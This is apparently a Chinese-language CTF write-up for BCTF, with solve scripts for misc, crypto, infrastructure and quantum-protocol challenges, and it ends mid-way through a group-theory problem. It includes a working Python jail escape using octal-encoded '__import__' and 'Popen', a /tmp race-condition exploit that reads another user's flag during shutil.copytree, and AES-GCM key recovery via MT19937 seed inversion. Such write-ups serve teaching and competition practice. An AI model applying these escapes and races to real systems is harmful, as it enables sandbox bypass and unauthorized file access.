MISC

humanity-check

太难了这个签到。。。做了有十分钟

bctf{krauq_blocked}

badyuri

比较 yuri.txt 和 yuri_1.txt 后,发现两者长度相同,但有 30 处单字符差异。对每一处取:

ord(修改后字符) - ord(原字符)
#!/usr/bin/env python3
import tarfile
from pathlib import Path


ARCHIVE = "yuri.tar.gz"


def safe_extract_tar_gz(archive_path: Path, out_dir: Path) -> None:
    out_dir.mkdir(parents=True, exist_ok=True)
    with tarfile.open(archive_path, "r:gz") as tar:
        tar.extractall(out_dir, filter="data")


def read_text(path: Path) -> str:
    return path.read_text(encoding="utf-8")


def main() -> None:
    archive_path = Path(ARCHIVE)
    extract_dir = Path("yuri_extract")

    safe_extract_tar_gz(archive_path, extract_dir)

    file1 = extract_dir / "yuri" / "yuri.txt"
    file2 = extract_dir / "yuri" / "yuri_1.txt"

    s1 = read_text(file1)
    s2 = read_text(file2)

    if len(s1) != len(s2):
        raise ValueError(f"文件长度不同: {len(s1)} vs {len(s2)}")

    diffs = []
    flag_chars = []

    for i, (a, b) in enumerate(zip(s1, s2)):
        if a != b:
            delta = ord(b) - ord(a)
            diffs.append((i, a, b, delta, chr(delta)))
            flag_chars.append(chr(delta))

    print(f"[+] 找到差异数: {len(diffs)}")
    print("[+] 差异详情:")
    for pos, a, b, delta, ch in diffs:
        print(
            f"pos={pos:5d}  {a!r} -> {b!r}  "
            f"ord(new)-ord(old)={delta:3d}  char={ch!r}"
        )

    flag = "".join(flag_chars)
    print("\n[+] FLAG:")
    print(flag)


if __name__ == "__main__":
    main()

bctf{w3_l0ve_yur1_rB4DN8aULH9}

bctf-infra

chal1

#!/usr/local/bin/python3
import string

allowed_chars = (string.ascii_lowercase + string.punctuation + string.digits).translate(str.maketrans("", "", "eo"))

inp = input("> ")

for c in inp:
    if c not in allowed_chars:
        print(f"Illegal char {c}")
        exit()
exec(inp)

特点:

  • 允许小写字母、标点、数字
  • 禁止字符 e 和 o
  • 最后直接 exec(inp)

也就是说,chal1 本质上是一个“有限字符集下的任意 Python 执行”。

chal2

allowed_chars = string.ascii_lowercase + "._[]; "
...
exec(inp)

这个环境更死,字符集太差,不太适合做主利用链。

chal3

allowed_chars = string.whitespace
...
exec(inp)

这里只允许空白字符,几乎不可能直接靠输入打出有效 Python。
但它目录里的
flag.txt 才是真 flag:

bctf{real_flag_will_be_here}

附件里的只是占位,远程会放真实 flag。

最关键的是 challenge_server.py:

def run_challenge(challenge: str, socket: socket.socket):
    with socket:
        uid = pwd.getpwnam(challenge).pw_uid
        gid = grp.getgrnam(challenge).gr_gid
        os.setgid(gid)
        os.setuid(uid)

        root = Path("/tmp/" + os.urandom(8).hex())
        root.mkdir()
        try:
            shutil.copytree(CHAL_FOLDER / challenge, root / "app")

            subprocess.run(
                [root / "app/chal.py"],
                cwd=root / "app",
                env={"PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"},
                stdin=socket.fileno(),
                stdout=socket.fileno(),
                stderr=socket.fileno(),
            )
        finally:
            shutil.rmtree(root)

它做了几件事:

  1. 先根据选中的 challenge 名字切换到对应系统用户
  2. 在 /tmp/<随机名> 下新建临时目录
  3. 用 shutil.copytree() 把 challenge 目录复制到 /tmp/<随机名>/app
  4. 再执行里面的 chal.py

Dockerfile 里还把每个 challenge 目录都设置成了对应用户专属的 700 权限:

chown -R "$user:$user" "$folder"
chmod 700 "$folder"

所以设计意图很明显:chal1 用户只能读 chal1 的目录,按理说不该读 chal3 的 flag。

问题出在这句:

shutil.copytree(CHAL_FOLDER / challenge, root / "app")

copytree() 的执行过程不是“原子”的。它会先:

  • 创建目标目录 /tmp/<rand>/app
  • 递归复制文件
  • 最后再把源目录权限、元数据同步过去(包括 700)

于是就出现一个窗口:

  • chal3 的目录刚被复制到 /tmp/<rand>/app
  • flag.txt 已经在里面了
  • 但 /tmp/<rand>/app 目录权限还没来得及被最后收紧成 700

如果此时另一个 challenge 用户(比如 chal1)足够快去遍历 /tmp/*/app/flag.txt,就有机会在权限收紧前把 flag 打开读出来。

这就是整题的核心:不是直接逃逸 jail,而是打 infra 的目录复制竞态。

再看 run.sh:

/app/challenge_server.py &
server_pid="$!"

trap 'kill "$server_pid" 2>/dev/null || true' EXIT INT TERM

sleep 0.5

nc 127.0.0.1 1337

也就是说,每次你连进题目,run.sh 会在当前 jail 里:

  1. 启动本地 challenge_server.py
  2. 再 nc 127.0.0.1 1337

所以你看到的菜单其实就是这个本地服务给的。
而且因为它就在同一个 jail 的 loopback 上监听,所以只要你在
chal1 里拿到代码执行,就可以自己再次连接 127.0.0.1:1337,疯狂触发新的 challenge 实例。

于是利用链变成:

  1. 先进入 chal1
  2. 在 chal1 里拿代码执行
  3. 从 chal1 内部不断连接 127.0.0.1:1337
  4. 重复触发 chal3
  5. 同时扫描 /tmp/*/app/flag.txt
  6. 在竞态窗口内读出真正的 flag

chal1 虽然能 exec,但禁掉了 e 和 o。
这意味着正常写:

  • open
  • exec
  • Popen
  • __import__

都会炸。

解决方法是:把敏感字符串全部写成八进制转义。

例如:

'\137\137\151\155\160\157\162\164\137\137'

等价于:

'__import__'

这样 payload 本体里根本不出现字母 e/o,但运行时字符串内容仍然是正确的。

所以外层 payload 可以这么拼:

  • 用 __builtins__.__dict__[...] 取到 __import__
  • 动态 import sys 和 subprocess
  • 调 subprocess.Popen([...])
  • 再起一个真正不受字符限制的子 Python,执行完整利用逻辑

这一步非常关键:
外层 payload 只负责“解锁 unrestricted Python”,真正的利用代码放进子进程里。

第一步:进入 chal1

连到远程后,先选:

chal1

第二步:在 chal1 里启动一个 unrestricted 子 Python

因为外层输入受字符集限制,所以只做一件事:启动

python -u -c '<真正的利用代码>'

第三步:子进程并发做两件事

一组线程不停扫:

/tmp/*/app/flag.txt

另一组线程不停连接:

127.0.0.1:1337

然后发送:

chal3

触发大量 chal3 实例,让 copytree() 的竞态窗口反复出现。

一旦扫到某个 /tmp/<rand>/app/flag.txt,就读取内容。
过滤掉
fake{fake_flag},保留真正以 bctf{ 开头且不是 fake 的内容即可。

八进制字符串编码

def oq(s: str) -> str:
    return ''.join(f'\\{b:03o}' for b in s.encode())

子进程里的利用代码

def watcher():
    while True:
        try:
            for name in os.listdir('/tmp'):
                path = '/tmp/' + name + '/app/flag.txt'
                try:
                    with open(path, 'r') as f:
                        data = f.read().strip()
                    if data.startswith('bctf{') and 'fake' not in data:
                        print(data, flush=True)
                        os._exit(0)
                except Exception:
                    pass
        except Exception:
            pass

def trigger():
    for _ in range(700):
        try:
            s = socket.create_connection(('127.0.0.1', 1337), 0.05)
            try:
                s.recv(4096)
            except Exception:
                pass
            s.sendall(b'chal3\n')
            time.sleep(0.001)
            s.sendall(b'\n')
            s.close()
        except Exception:
            pass
payload = (
    "i=__builtins__.__dict__['" + oq("__import__") + "'];"
    "s=i('sys');"
    "p=i('" + oq("subprocess") + "');"
    "p.__dict__['" + oq("Popen") + "']([s.__dict__['" + oq("executable") + "'],'-u','-c','" + oq(CHILD_CODE) + "'])"
)

并且保证:

assert 'e' not in payload and 'o' not in payload
bctf{perfect_infrastructure_tm_f6634b38}

Crypto

ecb-lasagna

核心思路很简单:

chall.py 先把 flag 每个字符重复两次,再对第 i 个字符做

AES_ECB((flag[i]) * 16)

得到一个 16 字节块,然后把这个块“环形平移”到位置 i 后异或进总结果。

所以对重复后的序列,输出满足:

R[j] = F[j][0] ^ F[j-1][1] ^ F[j-2][2] ^ ... ^ F[j-15][15]

其中 F[i] = AES(flag[i] * 16)。

因为原 flag 每个字符被复制两次,可以把问题按“两个位置一组”压成按原始 flag 字符处理。这样每一步只依赖前 8 个字符,而不是前 16 个位置。

再利用:

  • 已知 flag 前缀是 bctf{
  • 所以只需要爆破接下来的 3 个字符
  • 后面的字符都可以被唯一推出
  • 最后校验整条输出是否完全匹配

下面是可直接跑的 exp:

from itertools import product
import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

KEY = b"lasagna!" * 2

with open("output.txt", "r") as f:
    out = base64.b64decode(f.read().strip())

L = len(out)
assert L % 2 == 0
m = L // 2
E = out[0::2]
O = out[1::2]

cipher = Cipher(algorithms.AES(KEY), modes.ECB())

BLOCKS = []
for c in range(256):
    enc = cipher.encryptor()
    BLOCKS.append(enc.update(bytes([c]) * 16))

INV = {}
for c, b in enumerate(BLOCKS):
    INV.setdefault((b[0], b[0] ^ b[1]), []).append(c)

PRINTABLE = set(range(32, 127))
PREFIX = b"bctf{"


def next_candidates(chars, t):
    u = E[t]
    g = BLOCKS[chars[t - 1]]; u ^= g[1] ^ g[2]
    g = BLOCKS[chars[t - 2]]; u ^= g[3] ^ g[4]
    g = BLOCKS[chars[t - 3]]; u ^= g[5] ^ g[6]
    g = BLOCKS[chars[t - 4]]; u ^= g[7] ^ g[8]
    g = BLOCKS[chars[t - 5]]; u ^= g[9] ^ g[10]
    g = BLOCKS[chars[t - 6]]; u ^= g[11] ^ g[12]
    g = BLOCKS[chars[t - 7]]; u ^= g[13] ^ g[14]
    g = BLOCKS[chars[t - 8]]; u ^= g[15]

    v = O[t]
    g = BLOCKS[chars[t - 1]]; v ^= g[2] ^ g[3]
    g = BLOCKS[chars[t - 2]]; v ^= g[4] ^ g[5]
    g = BLOCKS[chars[t - 3]]; v ^= g[6] ^ g[7]
    g = BLOCKS[chars[t - 4]]; v ^= g[8] ^ g[9]
    g = BLOCKS[chars[t - 5]]; v ^= g[10] ^ g[11]
    g = BLOCKS[chars[t - 6]]; v ^= g[12] ^ g[13]
    g = BLOCKS[chars[t - 7]]; v ^= g[14] ^ g[15]

    return [c for c in INV.get((u, v), []) if c in PRINTABLE]


def verify(chars):
    dup = bytearray()
    for c in chars:
        dup.extend((c, c))

    res = [0] * L
    for i, ch in enumerate(dup):
        blk = BLOCKS[ch]
        for k, b in enumerate(blk):
            res[(i + k) % L] ^= b

    return bytes(res) == out


for guess in product(range(32, 127), repeat=3):
    init = list(PREFIX + bytes(guess))
    stack = [init]

    while stack:
        chars = stack.pop()
        t = len(chars)

        while t < m:
            cand = next_candidates(chars, t)
            if not cand:
                break

            if len(cand) == 1:
                chars.append(cand[0])
                t += 1
                continue

            # 唯一歧义一般是 '.' 和 'x'
            for c in cand[1:]:
                stack.append(chars + [c])
            chars.append(cand[0])
            t += 1

        if t == m and chars[-1] == ord("}") and verify(chars):
            print(bytes(chars).decode())
            raise SystemExit

bctf{y0u'v3_h349d_0f_5p4gh3tt1_c0d3,_8ut_d1d_y0u_kn0w_l454gn4_c0d3_4150_3x15t5?_1t_m34n5_y0u_c4n't_m4k3_4_ch4ng3_50m3wh3r3_w1th0ut_m4k1n6_4_ch4ng3_1n_m4n7_0th3r_p4rt5_0f_th3_c0d5.}

manytags

题目给了一个查询接口。服务启动时会先输出:

  • flag_nonce标志随机数
  • flag_ciphertext
  • flag_tag标志标签

然后允许我们最多查询 704 次,每次返回:

  • 一个随机 nonce
  • 一个随机 ciphertext
  • 一个被“污染”过的 tag

源码里最关键的几段是:

  • master_key = secrets.token_bytes(32),说明 AES key 是 256 位随机值。master_key = secrets.token_bytes(32) ,说明 AES key 是 256 位随机值。
  • mask_rng = new_fault_rng(master_key),而 new_fault_rng(key) 里直接 random.Random(int.from_bytes(key, "big")),说明故障随机数发生器的 seed 就是 master_key 本身。mask_rng = new_fault_rng(master_key) ,而 new_fault_rng(key) 里直接 random.Random(int.from_bytes(key, "big")) ,说明故障随机数发生器的种子就是 master_key 本身。
  • 查询接口里,真正返回的 tag 不是标准 GCM tag,而是经过 construct_tag() 处理后的值。

先看这段:

def construct_tag(real_tag, ghash_value, fault_words):
    real_tag_int = int.from_bytes(real_tag, "big")
    fault_value = (fault_words[0] << 32) | fault_words[1]
    tag_low = (ghash_value ^ fault_value) & MASK64
    tag_int = (real_tag_int & (~MASK64)) | tag_low
    return tag_int.to_bytes(BLOCK_SIZE, "big")

这里做的事其实很明确:

  • real_tag 的 高 64 位 原样保留
  • real_tag 的 低 64 位 被替换成
    low64(ghash_value ^ fault_value)

也就是说,每次查询返回的 tag 满足:

taghi=real_taghi\text{tag}{hi} = \text{realtag}{hi}taghi=real_taghitaglo=low64(GHASH(H,C)⊕r)\text{tag}_{lo} = \text{low64}(\text{GHASH}(H,C)\oplus r)taglo=low64(GHASH(H,C)⊕r)

其中:

  • H=EK(0128)H = E_K(0^{128})H=EK(0128)
  • rrr 是两个 getrandbits(32) 拼起来的 64 位随机数
  • 这个随机数来自 random.Random(int.from_bytes(master_key, "big"))。这个随机数来自 random.Random(int.from_bytes(master_key, "big")) 。

查询消息长度固定为一个块,也就是 16 字节:message = secrets.token_bytes(BLOCK_SIZE)。

源码里的 GHASH 计算是:

def compute_one_block_ghash(h_int, ciphertext):
    return ghash(
        h_int,
        [
            int.from_bytes(ciphertext, "big"),
            int.from_bytes(compute_length_block(len(ciphertext)), "big"),
        ],
    )

这里 AAD 为空,明文长度固定,所以长度块 L 是固定常量。对于单块密文 C,GHASH 可以写成:

GHASH(H,C)=C⋅H2⊕L⋅H\mathrm{GHASH}(H,C)=C\cdot H^2 \oplus L\cdot HGHASH(H,C)=C⋅H2⊕L⋅H

注意这里最重要的一点:

在 GF(2) 上,映射 H↦H2H \mapsto H^2H↦H2 是线性的,所以整个

C⋅H2⊕L⋅HC\cdot H^2 \oplus L\cdot HC⋅H2⊕L⋅H

对 HHH 的 128 个 bit 来说仍然是线性的。

因此,每次查询泄露出来的低 64 位:

taglo=low64(C⋅H2⊕L⋅H)⊕r\text{tag}_{lo} = \text{low64}(C\cdot H^2 \oplus L\cdot H)\oplus rtaglo=low64(C⋅H2⊕L⋅H)⊕r

就是一个 关于 HHH 和 PRNG 输出 bit 的线性方程组。

源码里有两个很扎眼的常量:

STATE_SIZE = 624
QUERY_BUDGET = 704

而每次查询都会调用:

fault_words = next_fault_words(rng)

其中:

def next_fault_words(rng):
    return [rng.getrandbits(32), rng.getrandbits(32)]

也就是每次查询消耗 两个 32-bit MT19937 输出。

MT19937 的完整内部状态正好是 624 个 32 位字。
所以前
624 次查询一共产生:

  • 1248 个 32-bit 输出
  • 也就是 624 个 64-bit mask

题目把预算设成 704,明显就是故意让你至少拿满一轮状态,甚至还多给一点余量。

拿到每次的:

  • nonce教廷大使
  • ciphertext密文
  • tag标签

其中真正有用的是:

  • ciphertext密文
  • tag 的低 64 位

因为这正对应:

low64(GHASH(H,C))⊕ri\text{low64}(GHASH(H,C)) \oplus r_ilow64(GHASH(H,C))⊕ri

把未知量拆成两部分:

  • HHH 的 128 个 bit
  • MT19937 内部状态的 19968 个 bit(624 × 32)

对每次查询的低 64 位,可写出 64 条线性方程。
前 624 次查询总共就是:

624×64=39936624 \times 64 = 39936624×64=39936

条方程,未知量只有:

128+624×32=20096128 + 624\times 32 = 20096128+624×32=20096

完全够解。

于是可以一次性恢复:

  • H = E_K(0^128)
  • 对应那 624 次查询所使用的所有 64-bit fault mask
  • 进而恢复出对应的 1248 个 32-bit MT 输出

你跑出来的结果里:

[+] recovered H = 8652aad2987cb769df7357dccf7d2d97

就是这一步得到的。

拿到 624 个连续的 MT19937 输出后,套路就标准了:

  1. 对每个 32-bit 输出做 untemper
  2. 恢复这一轮的内部 state
  3. 逆向 twist / rewind逆向扭转/倒转
  4. 再逆向 Python random.seed(int) 对大整数 seed 的初始化过程
  5. 取回最初的 256-bit 整数 seed

而这里的 seed 恰好就是:

int.from_bytes(master_key, "big")\text{int.frombytes(masterkey, "big")}int.from_bytes(master_key, "big")

所以一旦把 seed 逆回来,就等于直接拿到了 master_key。

你跑出来的是:

[+] key = f7459e92e4e56bb1c1b6a93a8d6629516ec756057ec291f83b5ffda10410ae5a

源码里 flag 是正常 AES-GCM 加密:

flag_cipher, flag_tag = encrypt_flag_message(master_key, flag_nonce, flag)

而 encrypt_flag_message() 只是普通的:

return aes_gcm_encrypt(key, nonce, message)

没有做任何 tag 污染。

所以拿到真正的 master_key 后,直接:

AESGCM(master_key).decrypt(flag_nonce, flag_ciphertext + flag_tag, None)

就能把 flag 解出来。

qss

服务端一开始只让我们提交两样东西:

  1. 一个 2 维 ancilla 态;
  2. 一个 8×8 的 unitary。

服务端会先检查 ancilla 是否归一化,再把我们提交的 8×8 矩阵转成 Qiskit 使用的比特序,最后验证它是不是酉矩阵;如果不合法会直接 Input error 退出。

之后总共跑 96 轮。每轮都会随机出:

  • secret ∈ {0,1}
  • set_bit ∈ {0,1}
  • alice_basis ∈ {z,x}
  • 是否为 test 轮(比例 0.40)

并且先让 Bob 预先公布一个 {"basis": "...", "outcome": ...},然后才公布:

  • public_set: S0 = {|psi+>, |phi->} 或 S1 = {|Psi+>, |Phi->}
  • public_alice_basis: z/x

这一步非常关键:题目不是让你正常“跟协议走”,而是让你构造一个满足评分函数的“攻击点”。

在 test 轮里,服务端只测 Alice 的那一位,然后只有当下面这个条件成立时,这一轮才会被拿去算 QBER:

check_valid = (
    alice_basis == required_basis and announce_basis == required_basis
)

其中 required_basis 由 set_bit 决定:

  • S0 对应 z
  • S1 对应 x

如果这一轮有效,就比较我们预先宣布的 outcome 是否等于期望值,错了就计入 qber_errors。

在 info 轮里,也不是每轮都算分。只有当:

announce_basis == alice_basis

时,这一轮才会被保留为 info_keep = yes,然后我们才能继续提交 measurement_plan_json>,测 b/c 中的 1~2 个量子位,并给出 secret_guess_bit。猜对就给 info_correct += 1。

最终不是“猜对就行”,而是要同时过这些条件:

  • qber_checked >= 4
  • qber_checked_by_basis["z"] >= 2
  • qber_checked_by_basis["x"] >= 2
  • raw_info_accuracy >= 0.60
  • info_rounds >= 16
  • mutual_info_empirical >= 0.5
  • frontier_abs_dev_bits <= 0.25
  • announce_balance <= 0.50
  • mutual_info_empirical > raw_mutual_info_empirical

全部满足才会输出 flag。

所以这题本质上不是“还原论文”,而是“构造一个在评分函数下能过线的量子攻击策略”。

核心目标只有两个:

  1. 让 test 轮的 QBER 不至于太高,同时 z/x 两种 basis 都要被检查到。
  2. 让 info 轮里,一旦进入 info_keep=yes,我们就能高概率恢复 secret。

源码里最后还检查了:

announce_balance = abs(z_count - x_count) / total

如果这个值大于 0.5 就挂。

所以不能一直报 z,也不能一直报 x。
我这里选的是循环模式:

[z, z, x, z, z, x, ...]

96 轮里正好是 64 个 z、32 个 x,平衡度是:

|64 - 32| / 96 = 1/3

小于 0.5,合法。

同时这也保证 test 轮里,z/x 两种 basis 都有机会进入有效检查集。

脚本里用的是:

  • basis = z 时,outcome = 0
  • basis = x 时,outcome = 1

这不是严格“推导出来的唯一真值”,而是和我们构造的 unitary 一起调出来的一组能过线的参数。目标不是 test 轮 0 错误,而是整体落在题目允许的 QBER / mutual information / frontier 范围内。

源码里 Bell 态的四种“逻辑输入”是:

  • S0:|phi->, |psi+>
  • S1:|Phi->, |Psi+>

而我们实际利用的是其中一对逻辑基:

  • |0_L> = |phi-> ⊗ |0>
  • |1_L> = |psi+> ⊗ |0>

也就是 ancilla 直接取 |0>,然后构造一个 8×8 unitary,把这两个逻辑基映到一对调过参数的 3-qubit codeword。
剩下的 6 维空间再补成一个完整正交基,拼成合法酉矩阵。

这一步的好处是:我们只需要把“真正会被打到的那一对输入态”调到有利于自己测量的位置,不需要对整套量子协议做严格复现。

一旦进入 info 轮且 info_keep=yes,服务端会先告诉我们当前是 S0 还是 S1,然后我们才提交测量计划。

于是可以做自适应策略:

  • 如果是 S0,就测 b 的 z
  • 如果是 S1,就测 b 的 x

然后从 measurement_outcomes: b:z=... 或 b:x=... 解析出 bbit,最后猜:

guess = 1 - bbit
qber_checked_by_basis=z:1 x:4
No flag yet: insufficient basis-balanced test checks

也就是说,不是我们的信息轮策略不行,而是随机分布导致 test 轮里有效的 z-basis 检查只出现了 1 次,没达到题目要求的“z 和 x 各至少 2 次”。

exp:

#!/usr/bin/env python3
from __future__ import annotations

import json
import math
import os
import re
import sys
import time
from typing import List, Optional

import numpy as np
from pwn import context, log, process, remote

HOST = "qss.opus4-7.b01le.rs"
PORT = 8443

# 这个模式满足 announce_balance < 0.5,
# 同时让 z/x 两种 basis 都会被检查到。
PATTERN = ["z", "z", "x"]  # 64 z / 32 x over 96 rounds

# 交互超时给大一点,避免远端稍慢时直接误判成 EOF。
PROMPT_TIMEOUT = 30
LINE_TIMEOUT = 30
FIRST_ROUND_TIMEOUT = 60
TAIL_TIMEOUT = 3

FLAG_RE = re.compile(rb"[A-Za-z0-9_]+\{[^\n{}]+\}")


def ket3(a: int, b: int, c: int) -> np.ndarray:
    v = np.zeros(8, dtype=np.complex128)
    v[(a << 2) | (b << 1) | c] = 1.0
    return v


def complete_orthonormal_basis(first_cols: List[np.ndarray]) -> np.ndarray:
    basis: List[np.ndarray] = []
    n = first_cols[0].shape[0]

    def add_vec(v: np.ndarray) -> None:
        w = v.astype(np.complex128).copy()
        for b in basis:
            w -= b * np.vdot(b, w)
        norm = np.linalg.norm(w)
        if norm > 1e-10:
            basis.append(w / norm)

    for col in first_cols:
        add_vec(col)

    for i in range(n):
        e = np.zeros(n, dtype=np.complex128)
        e[i] = 1.0
        add_vec(e)
        if len(basis) == n:
            break

    if len(basis) != n:
        raise RuntimeError("failed to complete basis")
    return np.column_stack(basis)


def build_unitary() -> tuple[list[complex | float], list[list[complex | float]]]:
    """
    把逻辑 Bell 子空间映到一对调过参的 3-qubit codeword。
    这套参数的目标是:
      - checked test rounds 上有适中的 QBER
      - kept info rounds 上 secret 可高准确率恢复
      - frontier gap 尽量小
    """
    sqrt2 = math.sqrt(2.0)
    anc = np.array([1.0 + 0.0j, 0.0 + 0.0j], dtype=np.complex128)

    phi_minus = np.array([1, 0, 0, -1], dtype=np.complex128) / sqrt2
    psi_plus = np.array([0, 1, 1, 0], dtype=np.complex128) / sqrt2

    e0 = np.kron(phi_minus, anc)
    e1 = np.kron(psi_plus, anc)

    # 已归一化的实系数,保证 JSON 不会出现 complex literal。
    coeff = np.array([0.12514137, 0.99426982, 0.09660036, 0.54960186], dtype=np.float64)
    coeff = coeff / np.linalg.norm(coeff)
    a, b, c, d = coeff.tolist()

    psi0 = (
        a * ket3(0, 0, 0)
        + b * ket3(0, 1, 1)
        + c * ket3(1, 0, 1)
        + d * ket3(1, 1, 0)
    )
    psi1 = (
        a * ket3(1, 1, 1)
        + b * ket3(1, 0, 0)
        + c * ket3(0, 1, 0)
        + d * ket3(0, 0, 1)
    )

    vin = complete_orthonormal_basis([e0, e1])
    vout = complete_orthonormal_basis([psi0, psi1])
    u = vout @ vin.conj().T

    err = np.max(np.abs(u.conj().T @ u - np.eye(8)))
    if err > 1e-8:
        raise RuntimeError(f"unitary construction failed: {err}")

    def clean(z: complex) -> complex | float:
        zr = 0.0 if abs(z.real) < 1e-15 else float(z.real)
        zi = 0.0 if abs(z.imag) < 1e-15 else float(z.imag)
        if zi == 0.0:
            return zr
        return complex(zr, zi)

    anc_json = [clean(x) for x in anc]
    u_json = [[clean(x) for x in row] for row in u]
    return anc_json, u_json


ANCILLA_JSON, UNITARY_JSON = build_unitary()


class TubeReader:
    def __init__(self, tube):
        self.tube = tube
        self.buf = b""

    def recvuntil(self, token: bytes, timeout: int = PROMPT_TIMEOUT) -> bytes:
        if token in self.buf:
            idx = self.buf.index(token) + len(token)
            out = self.buf[:idx]
            self.buf = self.buf[idx:]
            return out

        end = time.time() + timeout
        while time.time() < end:
            try:
                chunk = self.tube.recv(timeout=1)
            except EOFError:
                raise
            if chunk:
                self.buf += chunk
                if token in self.buf:
                    idx = self.buf.index(token) + len(token)
                    out = self.buf[:idx]
                    self.buf = self.buf[idx:]
                    return out
        raise TimeoutError(f"timeout waiting for token {token!r}; buffered={self.buf!r}")

    def readline(self, timeout: int = LINE_TIMEOUT, skip_blank: bool = False) -> str:
        end = time.time() + timeout
        while True:
            nl = self.buf.find(b"\n")
            if nl != -1:
                line = self.buf[: nl + 1]
                self.buf = self.buf[nl + 1 :]
                s = line.decode(errors="replace").rstrip("\r\n")
                if skip_blank and s == "":
                    continue
                return s

            if time.time() >= end:
                # 超时了,但如果缓冲里已经有点东西,先返回给上层看。
                if self.buf:
                    s = self.buf.decode(errors="replace")
                    self.buf = b""
                    if skip_blank and s == "":
                        raise TimeoutError("timeout with blank partial buffer")
                    return s
                raise TimeoutError("timeout waiting for line")

            try:
                chunk = self.tube.recv(timeout=1)
            except EOFError:
                if self.buf:
                    s = self.buf.decode(errors="replace")
                    self.buf = b""
                    if skip_blank and s == "":
                        raise EOFError("EOF with blank partial buffer")
                    return s
                raise
            if chunk:
                self.buf += chunk

    def recvrepeat(self, timeout: int = TAIL_TIMEOUT) -> bytes:
        data = self.buf
        self.buf = b""
        try:
            data += self.tube.recvrepeat(timeout)
        except EOFError:
            pass
        return data


def recv_significant_line(reader: TubeReader, timeout: int) -> str:
    end = time.time() + timeout
    while time.time() < end:
        left = max(1, int(end - time.time()))
        line = reader.readline(timeout=left, skip_blank=False)
        if line.strip() == "":
            continue
        return line
    raise TimeoutError("timeout waiting for significant line")


def send_json_line(io, obj) -> None:
    io.sendline(json.dumps(obj).encode())


def parse_measurement_outcomes(line: str) -> int:
    m = re.search(r"b:[zx]=(\d)", line)
    if not m:
        raise RuntimeError(f"cannot parse measurement line: {line!r}")
    return int(m.group(1))


def play_once(io) -> Optional[str]:
    reader = TubeReader(io)

    reader.recvuntil(b"ancilla_statevector_json>")
    send_json_line(io, ANCILLA_JSON)

    reader.recvuntil(b"unitary_8x8_json>")
    send_json_line(io, UNITARY_JSON)

    # 这里不要直接假设下一行就是 round header。
    first = recv_significant_line(reader, FIRST_ROUND_TIMEOUT)
    if first.startswith("Input error:") or first.startswith("Missing dependency:"):
        tail = first + "\n" + reader.recvrepeat(TAIL_TIMEOUT).decode(errors="replace")
        raise RuntimeError(f"server rejected our input:\n{tail}")

    # 某些情况下可能已经读到别的 banner,继续推进到真正 round header。
    while not first.startswith("--- round "):
        more = recv_significant_line(reader, FIRST_ROUND_TIMEOUT)
        first = more

    for round_idx in range(96):
        hdr = first if round_idx == 0 else recv_significant_line(reader, LINE_TIMEOUT)
        if not hdr.startswith("--- round "):
            tail = hdr + "\n" + reader.recvrepeat(TAIL_TIMEOUT).decode(errors="replace")
            raise RuntimeError(f"unexpected round header:\n{tail}")

        typ_line = recv_significant_line(reader, LINE_TIMEOUT)
        if not typ_line.startswith("round_type: "):
            tail = typ_line + "\n" + reader.recvrepeat(TAIL_TIMEOUT).decode(errors="replace")
            raise RuntimeError(f"unexpected round_type line:\n{tail}")
        is_test = typ_line.endswith("test")

        announce_basis = PATTERN[round_idx % len(PATTERN)]
        announce_outcome = 0 if announce_basis == "z" else 1

        reader.recvuntil(b"pre_public_announce_json>")
        send_json_line(io, {"basis": announce_basis, "outcome": announce_outcome})

        public_set_line = recv_significant_line(reader, LINE_TIMEOUT)
        public_basis_line = recv_significant_line(reader, LINE_TIMEOUT)

        if not public_set_line.startswith("public_set: "):
            tail = public_set_line + "\n" + public_basis_line + "\n" + reader.recvrepeat(TAIL_TIMEOUT).decode(errors="replace")
            raise RuntimeError(f"unexpected public_set line:\n{tail}")

        if not public_basis_line.startswith("public_alice_basis: "):
            tail = public_basis_line + "\n" + reader.recvrepeat(TAIL_TIMEOUT).decode(errors="replace")
            raise RuntimeError(f"unexpected public_alice_basis line:\n{tail}")

        if is_test:
            # test_check_valid: yes/no
            _ = recv_significant_line(reader, LINE_TIMEOUT)
            first = ""
            continue

        keep_line = recv_significant_line(reader, LINE_TIMEOUT)
        if not keep_line.startswith("info_keep: "):
            tail = keep_line + "\n" + reader.recvrepeat(TAIL_TIMEOUT).decode(errors="replace")
            raise RuntimeError(f"unexpected info_keep line:\n{tail}")

        if keep_line.endswith("no"):
            first = ""
            continue

        # public_set: S0 = {|psi+>, |phi->} / S1 = {|Psi+>, |Phi->}
        meas_basis = "z" if "S0" in public_set_line else "x"

        reader.recvuntil(b"measurement_plan_json>")
        send_json_line(io, [["b", meas_basis]])

        out_line = recv_significant_line(reader, LINE_TIMEOUT)
        bbit = parse_measurement_outcomes(out_line)
        guess = 1 - bbit

        reader.recvuntil(b"secret_guess_bit>")
        io.sendline(str(guess).encode())

        first = ""

    tail = reader.recvrepeat(TAIL_TIMEOUT)
    m = FLAG_RE.search(tail)
    if m:
        return m.group(0).decode()

    text = tail.decode(errors="replace")
    log.info("final summary:\n%s", text)
    return None


def main() -> None:
    context.log_level = os.environ.get("LOG", "info")

    use_local = len(sys.argv) > 1 and sys.argv[1].upper() == "LOCAL"
    challenge_path = sys.argv[2] if use_local and len(sys.argv) > 2 else "challenge.py"

    attempt = 0
    while True:
        attempt += 1
        log.info("attempt %d", attempt)

        if use_local:
            io = process([sys.executable, challenge_path])
        else:
            io = remote(HOST, PORT, ssl=True, sni=HOST)

        try:
            flag = play_once(io)
        except KeyboardInterrupt:
            io.close()
            raise
        except Exception as exc:
            try:
                leftover = io.recvrepeat(1)
                if leftover:
                    log.warning("attempt %d extra tail:\n%s", attempt, leftover.decode(errors="replace"))
            except Exception:
                pass
            io.close()
            log.warning("attempt %d failed: %s", attempt, exc)
            flag = None
        else:
            io.close()

        if flag:
            print(flag)
            return


if __name__ == "__main__":
    main()

bctf{phy51c5_1s_l1k3_s3x}

sporadiclogarithms

题目给了一个黑盒群,提供如下操作:

  • mul a b:返回 a*b
  • inv a:返回 a^{-1}
  • phi a:返回 c*a*c^{-1}
  • eq a b:判断是否相等
  • submit x:提交答案

要求找到一个 x ∈ [0, 262144],使得


h = s_{g,\phi}(x),
\quad \phi(a)=cac^{-1},

其中


s_{g,\phi}(x)=g\phi(g)\phi^2(g)\cdots\phi^{x-1}(g).

源码里实际构造方式是把 (g,c) 放进半直积里做幂运算,然后取第一坐标作为 h。

因为

\phi(a)=cac^{-1},

所以有:


